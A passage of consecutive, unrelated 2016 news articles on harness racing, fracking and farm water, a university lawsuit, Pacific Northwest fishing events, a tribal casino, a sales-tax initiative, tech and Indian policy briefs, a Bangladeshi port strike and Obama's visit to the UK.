After disappointing results in his first four events in Sweden, the horse was moved to trainer Jimmy Takters European division and placed in the capable hands of his brother Johnny Takter. The change was positive for Creatine, who delivered two Group 1 victories, in Finland and Sweden, after that point in time. He returned to North America last fall with an impressive third in the 2015 International Trot at Yonkers Raceway, then captured the Breeders Crown for older trotters at Woodbine Racetrack.

At the time, co-owner and developer Robert Stewart had stated that the Breeders Crown was likely Creatine's final start. He returned to the track in 2016, and made his first on-track appearance as a six-year-old this past Saturday in a qualifier at The Meadowlands. On Thursday, harnessracing.com reported that Creatine has been retired due to a suspensory injury.

"We got way more than we ever thought we would from Creatine," said Adam Bowden of Diamond Creek Farm, who bred the colt and co-owned along with Bob & Lynda Stewart. "He was a yearling we couldn't give away because of an injury and then he took us to the point that we were thinking this year was going to be the greatest ever."

Creatine retires with a career summary of 17-10-9 from 52 starts, a mark of 1:51.2 and $2.1 million in purses earned. The stallion also counts major victories the Bluegrass (at two), the Kentucky Futurity, Carl Erskine and an elimination of the Hambletonian (at three), the St. Michel in Finland and the Hugo Abergs Memorial in Sweden. Diamond Creek will stand the stallion, with location and fee yet to be finalized.
According to an article, Jeff Gurals lawyers have appealed to the Pennsylvania Environmental Hearing Board. The lawyers are pressing the organization to force state regulators to conduct a more thorough investigation of the water at Gurals Allerage Farm. The move has come after multiple foals at the PA farm have been born with a life-threatening condition.

News of the situation comes courtesy of an article by the Ithaca Journal. It explains that for three years mares that have been foaling at Allerages PA location have produced foals that have suffered from a rare condition known as dysphagia. The life-threatening ailment stops the foals from being able to swallow properly. The veterinary team at Cornell University has been able to save 17 of the foals that have been born with the disorder. The foals were cured with treatment (the syndrome causes quite the struggle for the first few weeks of the foals life, and the condition can prove fatal).

The Pennsylvania Department of Environmental Protection conducted an investigation into the groundwater at the farm. The investigation came to the conclusion that the groundwater was contaminated.

The Cornell vet team suspects that a gas well that was drilled directly next to the farm is the culprit in the mystery of the groundwater contamination, but the PDEP investigation concluded that it is not (hence Gurals appeal to the Pennsylvania Environmental Hearing Board).

Via his appeal, Gural wants the board to conduct a thorough analysis of the makeup of the groundwater on his farm. Gural has gone on the record as saying that he does support the idea of shale exploration  which is sometimes referred to as fracking  but that he is upset that companies in PA do not have to disclose what fluids and materials they pump into the ground in their search for natural gas. That they dont have to tell you what chemicals they are using is ridiculous, Gural has said.

Gural has also conveyed that his appeal is the proper move for the PA farm at this point. We are protecting our interests, Gural has been quoted as saying. If you dont respond now, its hard to come back a year later and say there was a problem.

Allerage Farm also has a location in Stanfordville, New York.

(With files from the Ithaca Journal)
Trot Insider has learned that Roger Trottier has passed away at age 76. He was a longtime horseman at Sudbury Downs as well as the Northern B Circuit.

Trottier was one of the pioneers of harness racing in northern Ontario.

The Trottier family owned and operated Trottier Raceway for 12 years before Sudbury Downs opened down the road.

Trottier will be remembered by racing fans for being the owner/driver of Barney T, who was a little chestnut free for aller on the Northern B Circuit that was hard to beat with his finishing kick.

Please join Standardbred Canada in offering condolences to the family and friends of Roger Trottier.
The opening round of the Catherine Burton late-closing series shares centre stage with a $9,000 Open Trot on opening night at Vernon Downs, which is this Friday (April 22).

Also on Friday, the Miracle Mile will unveil its new 50-cent Pick 5 wager in the last five races of the program.

A total of 22 trotters will contest a trio of Catherine Burton divisions on Friday night, each of which will carry a purse of $4,000. Among the standouts are Pompano invader Ado Duharas (Race 3, John Cummings Jr.), who enters off back-to-back wins; stakes-placed Love Crazy Love (Race 5, Gaetan Brunet), who took second in her New York Sire Stakes consolation as a two-year-old; and Royal Right (Race 11, Chris Lems), who was a stakes winner in Massachusetts during her freshman campaign.

The evening's top event is the $9,000 Open Trot, which has been carded as Race 9 on the 12-dash program. P L Houdini (Post 3) has been installed the 2-1 morning line favourite after three wins in his last five races, including a 1:55.4 triumph in an upper-level event at Pocono on April 9. John Cummings Jr. drives the five-year-old Kadabra gelding for trainer Mike Sinclair. Among his six rivals are Pounce K (Billy Davis Jr., Post 6), who will return to Vernon for defending training champion Dave Dewhurst, and 26-time winner A Penny Earned (Lems, Post 5), who proved a consistent contender in the local Open ranks throughout the past two seasons.

The 2016 season at Vernon Downs features a brand new wager to central New York: the 50-cent Pick 5. The wager will take place on the last five races of each program, with a carryover provision should no bettor correctly select all five winners. Additionally, a mid-card double has been slated for races five and six on a nightly basis.

Post time for the first of 84 programs this season at Vernon Downs is 6:45 p.m. EDT.

(Vernon Downs)
Student Denied Degree Over Same-Sex Debate

The Thomas More Society Files Complaint in Defense of Civil and Religious Rights

SPRINGFIELD, Mo., April 22, 2016 / Standard Newswire / -- This week, attorneys with the Thomas More Society, a national public interest law firm, filed a federal civil rights complaint against the Governors of Missouri State University on behalf of Andrew Cash. Cash was a student at the university who was dismissed from his M.S. in Counseling program after expressing concern over counseling same-sex couples due to his religious convictions. His suit claims that he was unable to complete his counseling curriculum, and is now prevented from working as a counselor, causing him daily emotional suffering. He is seeking for MSU to reinstate him in his counseling program with safeguards put in place so that he can successfully earn his degree.

Cash began the counseling program at MSU in September 2007. He was a student in excellent standing and nearing the completion of his degree when the disagreement with the school arose in 2011 over counseling gay couples.

"Traditionally, universities have been places for free exchange of ideas and values, both religious and secular," said Thomas Olp, Executive Director and Attorney for the Thomas More Society. Unfortunately, Missouri State University departed from its mission by denying educational opportunity to Mr. Cash simply because he expressed, in an academic setting, sincerely-held religious beliefs which his advisor deemed hostile to her own and therefore unacceptable. An educator should not permit her own ideology and agenda to ruin the educational opportunities of her students. We feel the responsibility, on Mr. Cash's behalf, to try to correct this."

As a part of the degree program, students are required to complete clinical internship hours. Cash started his internship in January 2011 with the Springfield Marriage and Family Institute, which had been approved by MSU as an internship site. At least one other student in the M.S. in Counseling program had previously completed an internship there. The Institute is a Christian-based counseling agency, and MSU knew this when it approved Cash's internship in January 2011.

A class presentation was conducted at the Institute in order to inform students about Christian counseling. The presentation was approved in advance by Cash's instructor. During the presentation, the Institute's chief counselor said that its Christian credentials and values were openly discussed with potential clients. In answer to a hypothetical question, the counselor said that while the Institute would and does counsel individual gay persons on a variety of issues, it prefers to refer gay couples for relationship counseling to other counselors whose religious views would likely be a better fit. Following the presentation, a student complained to Cash's faculty advisor about the statement, who peremptorily ordered Cash to her office, interrogated him as to his own views on the subject, and when he said he was sympathetic to them, she ordered him to forthwith cease attending the Institute, and immediately informed the Institute that it no longer would be considered an appropriate location for a school counseling internship given "ethical concerns" that had arisen. MSU later stripped the hours from Cash's graduate record.

Although Cash worked with the administration to find a different internship, the faculty advisor required him, as a condition of being re-accepted to a new internship, to prove to her that he "had learned something from the experience at the Springfield Marriage and Family Institute." Later, the same advisor wrote a letter to department officials claiming that it appeared to her, despite a total lack of evidence, that she suspected that Cash had not recanted from his earlier-stated religious views. She then made a recommendation, which was accepted, to force Cash into "remediation." A year later, in November 2014, the University expelled Cash from the counseling program, and his appeals fell on deaf ears. Cash was very close to graduating, but lost his ability to complete his degree by the expulsion.

Read the Complaint, filed in the Western District of Missouri Court, here

About the Thomas More Society
There are plenty of salmon fishing derbies that reward anglers for catching big chunky Chinook.

But anglers young and old can compete in a new kind of contest Saturday, the Opening Day of trout fishing season.

The Washington Department of Fish and Wildlifes first lowland lake fishing derby starts Saturday and runs through Sept. 6.

Although many lakes are open year-round, the fourth Saturday in April marks the traditional start of the lowland lakes fishing season, and hundreds of thousands of anglers are expected to turn out for the big day, said Larry Phillips, WDFW inland fish program manager.

WDFW fish hatchery crews have been stocking more than 15 million trout and kokanee in lakes statewide. Those fish include 3.8 million catchable trout, nearly 370,000 larger trout averaging about one pound apiece, and millions of smaller trout that were stocked last year and have grown to catchable size.

In recent weeks, Kress Lake near Kalama received nearly 6,000 trout, Horseshoe Lake in Woodland got 3,400 fish and Lake Sacajawea was stocked with 4,200 trout. WDFW dumped 100 big trout averaging 1.5 pounds each into South Lewis County Park pond near Toledo.

Fish stocking details, by county and lake, are available in the annual stocking plan on the WDFWs website at http://wdfw.wa.gov/fishing/plants/statewide/.

Fishing derby

For the derby, WDFW stuck orange tags on more than 700 planted rainbow trout. If you catch one, pull out your phone and call 360-902-2464 to claim a prize.

Southwest Washington lakes with tagged fish include Silver Lake, Lake Sacajawea, Kress Lake, Lake Merwin, Horseshoe Lake and Swift Reservoir. For a full list of lakes with prize fish and details on how to claim prizes, visit http://wdfw.wa.gov/fishing/derby.

License rules

Washington anglers need an annual freshwater or combination fishing license valid through March 31, 2017. Licenses can be purchased online at https://fishhunt.dfw.wa.gov; by telephone at 1-866-246-9453; or at license dealers. For license vendor locations, visit the WDFW website at http://wdfw.wa.gov/licensing/vendors/.

Anglers parking at WDFW water-access sites are required to display the WDFW Vehicle Access Pass that is provided with fishing licenses.

Fishing tips

The Fish Washington feature on the WDFW website (http://wdfw.wa.gov/fishing/washington) has details on lake fishing opportunities. The map-based webpage includes fishing information by county, lake and fish species throughout the state.

WDFW also offers how to fishing videos at http://wdfw.wa.gov/fishing/washington/videos.

Family fishing at Trojan Pond

Thousands of rainbow trout will be waiting for anglers who attend a family fishing event from 9:30 a.m. to 2 p.m. Saturday at Trojan Pond.

Over the past two weeks, the Oregon Department of Fish and Wildlife has released more than 6,000 trout into the 15-acre pond in the park next to the former Trojan nuclear power plant on Highway 30, 4 1/2 miles south of Rainier. These releases included trout ranging from 13 inches to more than two pounds apiece.

ODFW will provide rods, reels and tackle and bait, on a first-come first-served basis. Participants are welcome to bring their own fishing gear if they prefer, but are not required to do so. Staff and volunteer fishing instructors will be on site to answer questions and demonstrate effective fishing techniques.

We want to make this as fun and easy as possible, said Jeff Fulop, family fishing event coordinator for ODFWs North Willamette Watershed District. These events give parents an opportunity to enjoy a day of fishing with the kids.

No pre-registration is required. Anglers 11 years old and younger do not need a fishing license in Oregon. Oregon anglers 12 to 17 years old will need a youth license, which can be purchased for $10 at any ODFW license agent, ODFW office or online at ODFWs website. Everybody else must have an adult fishing license. Licenses will not be sold at the event, so individuals planning to participate should obtain their licenses ahead of time.

(In Washington, anglers younger than 15 dont need a license.)

ODFWs stocking schedules, maps, guides and other resources are on the agencys website, www.odfw.com, under the Fishing tab.

Lake Sacajawea kids event

The annual Kids Fish event at Lake Sacajawea is set for April 30.

Children 5 to 14 years old can fish in an area thats netted and stocked with trout at Martin Dock. Every registered child will receive a fishing rod and reel to keep. All bait, hooks, line, weights, bobbers and instructions are provided.

The event will be conducted by Longview Recreation, the Cowlitz Game & Anglers Club and the Department of Fish and Wildlife. Pre-registration costs $8 and is required. Space is limited for each session. Sessions lasting 45 minutes start at 8 a.m., with the last session at 2 p.m.

Registration will not be taken the day of the event. Registration forms are available at Bobs and the Recreation office, 2920 Douglas St. To register online, visit www.mylongview.com/recreation, or call 442-5400.

Other fishing events

Woodland Fishing Derby: The Woodland Moose Lodge will present its eighth annual Kids Fishing Derby from 8 a.m. to 2 p.m. May 16 at Horseshoe Lake. The event is for children younger than 15 years old.

Merwin Park: The annual kids fishing event at Merwin Park will be from 9 a.m. to 1 p.m. June 11. It is for ages 2 to 14.

South Lewis County Pond: A fishing event for kids younger than 15 years old is scheduled for 8 a.m. to 1 p.m. May 14.

Vernonia Pond: A Family Fishing Event is scheduled for 9 a.m. to 2 p.m. May 7 at Vernonia Pond.

Boating rules

Lewis County sheriffs deputies will be conducting boating safety checks and enforcement on Saturday.

The sheriffs office reminds boaters of the following rules:

Boat operators must have a valid Boating Safety Card.

All children on board younger than 12 years old must wear a properly fitted Coast Guard approved Personal Flotation Device (PFD). The office encourages everyone on a boat to wear a PFD.

Boating under the influence of alcohol is against the law.

Lock vehicles and remove all valuables to avoid theft while you are on the water.
The Cowlitz Indians say their $510 million casino resort will employ 1,000 people to start with.

Cowlitz County residents could use some of those jobs, but a big question remains: Who will get them, and will they attract a lot more Native Americans, from other tribes as well as the Cowlitz, when the casino opens in north Clark County in fall 2017?

Everybody thinks that thats going to happen, but I dont really know what thats going to look like, Cowlitz County Sheriff Mark Nelson said. Its not an anticipated problem. Its just an anticipated change.

Tracie Driver, a board member of Kelso-based Ethnic Support Council and part of the Cherokee and Oneida tribes of Oklahoma, said she has friends from as far as North Carolina planning to apply for work at the Cowlitz casino. She expects a rise in Native Americans living in Cowlitz County, where housing costs are much lower than they are in Vancouver and Clark County.

With Cowlitz County unemployment levels stuck in the 7.5 to 8.5 percent range, area residents are in need of job opportunities. And project founder Dave Barnett said he hopes almost all of the jobs will go to locals.

Our goal is to hire within our tribe and within the community, Barnett said.

The La Center-area casino will give preference to Cowlitz tribal members who are qualified, but Cowlitz Chairman Bill Iyall said he expects most employees will come from the surrounding area.

Its an ideal location to employ Cowlitz County citizens, Iyall said, saying tribal members may not be positioned to move here for employment. Thats because the tribe underwent a diaspora after white settlement of Southwest Washington in the 19th century.

Weve been scattered, so our families have been established in other towns.  To relocate for a job at the casino, if youre equally employed elsewhere, that would be an issue, Iyall said.

For Cowlitz members who may be interested in the positions, Barnett said most of them already live within a few hours from the reservation.

Iyall said hes letting tribal members know about the opportunities. The national unemployment rate for American Indians has consistently been higher than 10 percent, double the national average, and federal law allows tribal enterprises to give preference to hiring Indians without violating equal opportunity employment laws. This is partly because reservations  like the 152-acre area the federal government created for the Cowlitz in 2015  are sovereign nations.

Robert Anderson, Oneida Indian Nation visiting professor at Harvard, said jobs at the casinos can be a big draw for American Indians, especially if theres a chance to work toward management.

Experience shows that theres a wide variety of jobs, that people can come in with menial jobs and through training efforts they have in place, they can sort of work their way up the ladder, he said.

Its unclear how much the casino jobs will pay, but Iyall said the service industry jobs will pay living wages and include full benefits.

Its hard to look elsewhere to predict how casino employment will shape up because each case is different.

The Mohegan Tribe, which is managing and helping finance the Cowlitz casino, offers a case in point. About 2.9 percent of the workers at its huge Connecticut casino are Native American; only 0.2 percent of the work force is American Indian at the tribes casino in more rural eastern Pennsylvania. Nationally, Native Americans make up about 1.2 percent of the U.S. population.

Kathryn Rand, co-director of the Institute for the Study of Tribal Gaming and Policy in North Dakota, said tribal casinos are normally built on established and much larger reservations that already have sizable Native American populations. Typically theres also housing available on the tribal land, so its difficult to predict how Cowlitz casino may change the surrounding area.

This is a unique type of situation in many ways, Rand said.

Washington has 28 tribal casinos owned by 22 tribes, according to the Washington State Gambling Commission. Tribes must get federal recognition to operate their own casinos, and Cowlitz tribe received its recognition in 2002 after years of struggle.

Today the tribe has about 3,900 members, largely centered around the Puget Sound area, which is well outside the tribes ancestral area in Cowlitz, Lewis and north Clark counties.

The tribe hasnt had a central location for centuries. The U.S. Bureau of Indian Affairs in a report said the Cowlitz had a dispersed residential pattern before the end of the 19th century.

Watered down traditions

Driver, of the Ethnic Support Council, said shes concerned there would be inadequate support for American Indians who want to move to the area.

Were not prepared by any means to handle that, she said. She said Native Americans will need support navigating cultural differences, misunderstandings with law enforcement, finding work and getting help with disabilities.

Numerous tribes in the state dont have federal recognition and might seek to move closer to a tribe with federal recognition that can provide an American Indian community.

Other natives, like Driver, live thousands of miles from where their tribe is based.

Driver focuses on supporting the Cowlitz tribe and making it strong again. But she said urban areas often create a larger Indian tribe from a combination of many smaller tribes. Tribal communities are fractured, she said, and theres a loss of identity through assimilation.

The Cowlitz tribe can be a magnet to bring members of many tribes together, but its a double-edged sword  Driver said smaller tribes lose their nuanced tribal traditions when they seek opportunities and community through a larger tribe.

On a personal level, I really get concerned with people losing their tribal connections. Its so easy to get absorbed, she said. Their traditions kind of get watered down or assimilated with other tribes.

A growing reservation

A 2002 study by the National Bureau of Economic Research found that, in general, surrounding counties experience job growth and lower mortality rates within four years of the opening of tribal casinos.

Nelson said the sheriffs office isnt anticipating problems or departmental changes. He said hes more concerned about preconceptions about law enforcement, and whether any potential Native Americans moving into the county have had negative interactions with officers in the past.

Everyone is treated with respect, Nelson said. Everyone is given the degree of honor they deserve, and thats how I want to see this place run.

Twenty years after the Spirit Mountain Casino opened in Grand Ronde, Ore., Polk County Commissioner Craig Pope said hes seen the economic growth not only in his community but in the tribe. Grand Ronde is a rural area near the city of Salem and the surrounding Portland area, similar to La Center.

If it werent for the casino operations, the tribal community would not be what it is today, Pope said. That has made a monster impact on their quality of life as a community.

According to the U.S. Census, the Native American population in Polk County grew more than 400  or 63 percent  between 1990 and 2000, though Indians were still only 1.9 percent of the total population then. Census data from 2014 show that 2.5 percent of Polk County residents identify as Native American alone  more than double the national average.

The Spirit Mountain Casino has much more space to provide a hub for population growth. The Confederated Tribes of Grand Ronde have more than 11,000 acres to provide housing, for example.

The Cowlitz tribes La Center-area casino is minuscule by comparison. The Cowlitz project will take up most of the reservation, covering 368,000 square feet, including 100,000 square feet of gaming space.

Iyall said he hopes the reservation buys more land when the tribe can afford it. Three years from now, the tribes next step is to open a 250-room hotel on the reservation.

It is a very bright future for the tribe that was landless, Iyall said.
This week Bob Crisman plans to sell a pair of custom diamond earrings to an Oregon customer. With a $6,995 price tag, the customer will save $527 in sales tax by flashing his drivers license at the Gallery of Diamonds register.

Thousands of out-of-state shoppers use the Washington tax break every year. Out-of-state shoppers spent $415 million in Washington in 2011, including $63 million in Cowlitz County, according to the most recent analysis of state data from the Washington Retail Association.

Some of those sales could dry up, though, if Initiative 1464 makes it on the November ballot and passes. It would end the sales tax break for some out-of-state shoppers in order to finance an overhaul of the states campaign finance system.

Crisman estimates that at least half of his Oregon business would evaporate if the measure passes, and Cowlitz County businesses say I-1464 could cost them thousands of dollars in lost sales.

Thats going to cost jobs. Period, he said.

Backers say its a relatively small price to pay to reduce the influence of special interest money in politics.

People who shop in Washington from Oregon arent doing it because they dont pay sales tax, said Peter McCollum, campaign manager for I-1464. Theyre coming here because they want to shop at Washington businesses that offer better services or products.

Only shoppers from Oregon, Montana, Alaska, New Hampshire and Delaware are eligible for the exemption.

Campaign finance reform

I-1464 is backed by a new bi-partisan group called Integrity Washington. Supporters have until July to collect 246,372 signatures to get the measure on the November ballot. If passed, the initiative would reform the campaign finance system in a number of ways, including:

Limiting the money lobbyists and government contractors can donate to political campaigns to $100.

Requiring former elected officials and senior government staff to wait three years before taking a lobbying job. The idea is to end the revolving door phenomenon between officials and industries they regulate.

Establish a public program that would give voters three $50 democracy credits that they could donate to state legislative campaigns.

This initiative is designed to increase transparency and accountability, deter corruption and make our (elected officials) more responsive to voters rather than to big donors, McCollum said.

Already six states give voters some kind of tax deduction or credit if they donate to political campaigns, McCollum said. Another three states have voluntary public financing systems.

The funding source

Ending the sales tax exemption for out-of-state shoppers would potentially generate $60.8 million in 2017 to 2018, according to the state Department of Revenue.

Retailers, though, would lose an estimated $45 million in sales annually, according to the Washington Retail Association, estimating the effect based on 2011 state data.

Clark, Cowlitz and King counties would be the hardest hit, taking about 15 percent loss in retail sales, according to state data provided by the retail association. Sales of big ticket items, such as jewelry, furniture and appliances would drop the most, said Jan Teague, president of Washington Retail Association.

If youre buying a Victorian couch for $1,000, thats another $100 on top, Teague said. People are very price-sensitive. Its economical for them drive to Portland to another antique store.

Bill Marcum, president of Kelso-Longview Chamber of Commerce, said big box retailers would just see their business shift to Oregon outlets, but smaller retailers would suffer.

Those small individual business owners, I think, are the ones that are going to see the biggest downfall, Marcum said.

About 10 to 15 percent of customers at Teagues Interiors in downtown Longview come from across the border, said owner Wendy Kosloski.

I dont agree with closing the exemption to pay for politics, Kosloski said. You want people from out of the area to pay for our politics?

Val Tinney, a Longview realtor and Republican legislative candidate for the House seat held by J.D.Rossetti, D-Longview, agreed.

Campaign finance reform is a good conversation to have, but my opposition is taxing local businesses to pay for it when we havent funded basic education yet.

Rossetti said he hasnt taken a stance on I-1464 but suggested that the needs of small businesses be taken into consideration.

Im not going to get all excited or spun out (about I-1464) until theyve delivered the signatures and the Secretary of State has signed off on putting it to voters, he said.

Integrity Washington says campaign record is needed, noting that the state received D+ grade on a recent report that assessed accountability and transparency of campaign financing.

We want candidates to be more focused on voters and less focused on donors. Theres an incentive if they can raise money from everybody, McCollum said.
tech2 News Staff

The long wait is finally over and the first set of lucky non-Nexus users who will now be able to play around with the Developer Preview will now inlcude Sony Xperia Z3 owners. Yes, Google has begun rolling it Developer Preview for non-Nexus devices so that developers will soon no longer need to own a Nexus device to begin testing and developing apps for upcoming Android releases.

This is indeed a first for Google. And owners of the year old Sony Xperia Z3 will also be happy now that get early access to a Nexus-like UI that free from manufacturer customisations.

All a Sony Xperia Z3 owner needs to do is install Sony's 'Xperia Companion' app on a Windows or Mac computer and then click to download the Developer Preview.

It is a bit odd as to why Google chose Sony's flagship from 2014 instead of the more recent Xperia Z5, but a bigger user base could be a reason for the same.

(Also Read: Android N Developer Preview released: Should you install it?)

Xperia Z3 owners will now be treated to a plethora of new features that come with the Android N update including split-screen, a cleaner notifications area and much more. For now it is just the Xperia Z3 that is reported to be getting the update, but Google is expected to roll out the same to handsets from other manufacturers as well.
tech2 News Staff

Seems like Apple has indeed found a way out of the mandatory domestic sourcing norm (at 30 percent) that kept the company from opening up its own branded Apple Stores in the county. According to the Times of India, the policy change that took place last year and Apple's recent presentation to the industrial policy and promotion secretary Ramesh Abhishek seems to have had a positive outcome.

The policy changed in November 2015, allowing companies like Apple to seek an official government exempt for the complete waiver of sourcing norms. These would include 'state-of-the-art' and 'cutting-edge technology' as well.

On Tuesday, TOI points out that Apple gave a presentation to the committee where the Cupertino tech giant pressed for the special provision. The same indicates that Apple really fits the case, because there was very little that the company could source from the country that is limited to some chargers that are currently being exported to markets like China. The results of the same will be announced in a few days.

Turns out even Xiaomi and LeEco have also submitted proposals, but the same are on hold at the moment. Until the Apple Stores arrive, the company will continue to sell via its distributors in India. As for the the company's plans to sell refurbished smartphones, in the country, it said that it has no intentions of starting the same anytime soon.
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Federal Bureau of Investigation Director James Comey said on Thursday the agency paid more to get into the iPhone of one of the San Bernardino shooters than he will make in the remaining seven years and four months he has in his job.

According to figures from the FBI and the U.S. Office of Management and Budget, Comey's annual salary as of January 2015 was $183,300. Without a raise or bonus, Comey will make $1.34 million over the remainder of his job.

That suggests the FBI paid the largest ever publicized amount for a hacking technique, given the most previously paid was $1 million by U.S. information security company Zerodium to break into phones.

Speaking at the Aspen Security Forum in London, Comey was asked by a moderator how much the FBI paid for the software that eventually broke into the iPhone.

"A lot. More than I will make in the remainder of this job, which is seven years and four months for sure," Comey said. "But it was, in my view, worth it."

The Justice Department said in March it had unlocked the San Bernardino shooter's iPhone with the help of an unidentified third party and dropped its case against Apple Inc, ending a high-stakes legal clash but leaving the broader fight over encryption unresolved.

Comey said the FBI will be able to use software used on the San Bernardino phone on other 5C iPhones running IOS 9 software. The FBI gained access to the iPhone used by Rizwan Farook, one of the shooters who killed 14 people in San Bernardino, California on Dec. 2.

The case raised the debate over whether technology companies' encryption technologies protect privacy or endanger the public by blocking law enforcement access to information.

Reuters
tech2 News Staff

Google celebrates Earth Day with five doodles by doodler Sophia Diao. The Doodles showcase five biomes from around the world. You have to look sideways and squint to spot the Google logos.

The tundra has a lonely polar bear on an ice sheet below auroras. There is a skewed Google logo that is formed in the melting ice.

One of them shows a fox running through the trees in a temperate broad leaf forest. Here the logo is formed in patches in the patterns on the trees in the foreground.

There is the grass savanna at sunset with an elephant. Trees, sticks, flowers and the setting sun seem to be in the same places as the letters in the logo.

Refresh and you will also see a doodle of a semi arid desert with an tortoise (shaped in the letter 'O') reaching out to eat from a 'G' shaped shrub.

Finally, there are the underwater coral reefs with an octopus. The flowing tentacles of the octopus seem to form a little too many 'G's and 'O's if you look closely.

Every April 22, Earth Day celebrates the end of winter and the beginning of spring in the northern hemisphere. The day is dedicated to environmental concerns, and peace. On Earth Day 2016, The Paris Agreement is expected to be signed by over 120 countries, a worldwide effort to tackle the problems of greenhouse gas emissions.
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The commerce and industry ministry on Thursday launched a 'Twitter Seva' to address queries and grievances on matters relating to the ministry. Through this Twitter Seva, queries on matters relating to Department of Commerce (DoC) and Department of Industrial Policy and Promotion (DIPP) will be answered, the ministry said in a statement.

The service was launched here by union minister Nirmala Sitharaman. All officers have been sensitized to respond to the tweets within a short time frame, she said. Anyone desirous of assistance from the ministry can use the hashtag #mociseva. An institutionalized mechanism with a special Twitter cell has been created in the ministry manned by officers, who will monitor and direct all the tweets to the concerned officers.

Queries regarding SEZs, tea, coffee, rubber and spices boards will be addressed by the ministry while that on manufacturing policy, industrial corridors, investment promotion, Make in India, Start-up India, Foreign Investment Promotion Board (FIPB), FDI, Intellectual Property Rights, patents, trade marks, copyrights, light engineering industry, cement and rubber industry will be addressed by DIPP, the statement said.

IANS
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The inter-ministerial panel telecom commission will take up for discussion, at its meeting scheduled for April 30, the plans for upcoming spectrum auction.

According to official sources, the meeting, to be chaired by telecom secretary JS Deepak on April 30, will discuss spectrum base price, usage charge and other modalities related to the next round of spectrum auction.

Telecom regulator Trai has recommended to the government a mega spectrum plan that could fetch the Exchequer about Rs 5.36 lakh crore.

Telecom Commission last month sought clarification on various points recommended by the regulator including pricing methodology, spectrum usage charges, partial auction of premium 700MHz band.

Telecom regulatory authority of India has reiterated that the entire spectrum available in 700 Mhz band should be auctioned in the upcoming sale as non-utilisation would result into irreversible loss to the government.

It has recommended a record high base price of Rs 11,485 crore per megahertz for the 700 Mhz band, which would be auctioned for the first time.

Department of Telecom (DoT) had asked Trai to reconsider whether all available spectrum in the 700 MHz band should be put up for auction or split in two phases.

Trai said it is of the opinion that the entire spectrum in the 700 MHz band is required to be made available for commercial use without delay and reiterated its earlier recommendation that entire available spectrum (2x35MHz) in the band should be put up in the upcoming auction.

Trai also reiterated its proposal regarding the pricing of 700 MHz band, for which it had proposed a base price that is four times of 1800 MHz band.

PTI
Strike paralyses 16 river berths

Chitagong Bureau :

About 16 river berths (ghats) of Chittagong Port Channel in the Karnaphuli River remained paralysed from Wednesday midnight following the strike called by the Bangladesh River Transports Workers Federation in demand of the increase of salary and allowances, among others.

The loading and the unloading in these ghats remained suspended from Wednesday midnight, sources said. But the port's terminal remained active. Chittagong Port control room sources said that four vessels left the port and eight anchored in the inner berths. Reliable sources of port users told this correspondent that the workers of these ghats declined to unload the lighter vessels.

Joint secretary of the workers federation Khorshed Alam told that the foreign vessels did not face any trouble in loading and unloading. But the loading and the unloading of the lighter vessels remained suspended.

A reliable leader of the workers federation told that they submitted 15 points demand to the concerned ministry and held several meetings with them in last 10 days, but to no purpose.

The strike was enforced from 12 midnight from Wednesday, sources said.


Barack Obama visit: Stick with EU, US president urges UK

The president and his wife are having lunch with the Queen and Prince Philip - a day after the monarch\'s 90th birthday

BBC Online: Barack Obama has urged the UK to stick with the EU, as he begins his final trip to Britain as US president by having lunch with the Queen. Mr Obama, who is on a three-day visit with his wife Michelle, is meeting PM David Cameron for talks. Mr Obama has told the Daily Telegraph being in the EU magnified Britain's influence across the world. But London Mayor Boris Johnson called his view "hypocritical", describing the EU system as "alien" to US traditions. Prime Minister David Cameron is now hosting Mr Obama at Downing Street. The leaders will hold talks together before they are joined by the UK's home, foreign and defence secretaries, and the chancellor. The pair will later hold a joint press conference. Earlier the president and First Lady Michelle Obama attended a private lunch with the Queen and Duke of Edinburgh at Windsor Castle - the day after the Queen's 90th birthday celebrations. The Duke of Edinburgh drove the Queen into the Castle grounds to meet the president and first lady as they disembarked from their helicopter. After a quick chat, there was some discussion over where people should sit, with Mr Obama opting for the front seat. Prince Philip, aged 94, returned to the wheel. This is the third time the couples have met and the first time in the historic surrounds of Windsor Castle. Their last meeting was during a visit in 2011 when the Obamas stayed in Buckingham Palace. In 2009, in what was taken to be a sign of a friendly relationship between the families, the first lady was photographed with her arm around the Queen's waist. In their meetings since, including today, there does seem to be a genuine warmth between the two families. Today's lunch is private. To the frustration of the many journalists covering this visit, whatever the Queen makes of the president's views on Britain in Europe will remain within the castle walls. The president's intervention in the UK's forthcoming EU referendum on 23 June has been hotly debated and sparked claims of "hypocrisy" from those who want to leave the EU. They claim the US "would never contemplate anything like the EU for itself". In an article for the newspaper, President Obama acknowledged that ultimately the matter was for British voters to decide for themselves. But he also said: "The outcome of your decision is a matter of deep interest to the United States. "The tens of thousands of Americans who rest in Europe's cemeteries are a silent testament to just how intertwined our prosperity and security truly are." In response, Mr Cameron tweeted: "The US is one of our closest allies. So it's important to hear Barack Obama on why we should remain in the EU." BBC North America editor John Sopel said the president had not needed to make his intervention and could have been much more nuanced. "That he has is a mark of the profound concern felt in Washington about the implications of a British departure from the EU," he said. However, BBC political editor Laura Kuenssberg said a Brexit-supporting cabinet minister had stressed that Obama's view "was not the settled view in the USA. The Republicans don't agree and there is disquiet at his blatant meddling in UK politics". The minister had suggested Ted Cruz supported Brexit, she added. Speaking to the paper, Mr Obama said that the US's relationship with the UK had been "forged as we spilt blood together on the battlefield". He went on to say the UK had benefitted from being inside the EU in terms of jobs, trade and financial growth, and that it "magnifies" the UK's global influence. "This kind of co-operation - from intelligence sharing and counter-terrorism to forging agreements to create jobs and economic growth - will be far more effective if it extends across Europe. Now is a time for friends and allies to stick together," he wrote. Former US State Department spokesman James Rubin told BBC Breakfast the president had not offered any words of reassurance about Britain's future relationship with the US if it left the EU because "it won't be OK". "We have a phrase in America: 'Friends don't let friends drive drunk,'" he said, adding that it would be "a big mistake for Britain to leave the EU and set asunder what has been a very successful relationship". But Vote Leave's Boris Johnson said although he was a "big fan" of Mr Obama, remaining in the EU is "clearly something we have a disagreement on". He said: "America's a proud democracy built on principles of liberty. It is hypocritical for us to be told by America to embroil ourselves ever more deeply in a structure which would be absolutely alien to American traditions. "I think most Americans would accept that there is something rum about asking us to subordinate our democracy in this way, when America would not dream in a million years of doing likewise." Mr Johnson originally criticised Mr Obama in an article in the Sun but has since been criticised for making comments about the president's "part-Kenyan" ancestry. Tory MP Iain Duncan Smith, who is also part of the Vote Leave campaign, echoed Mr Johnson's comments, adding: "I can imagine no circumstances under which he would lobby for the US Supreme Court to be bound by the judgements of a foreign court." Former British Army Commander Richard Kemp told the BBC Mr Obama's comments on security were "diametrically opposite to the reality" and staying in the EU would be worse for UK's national security and for international security. Mr 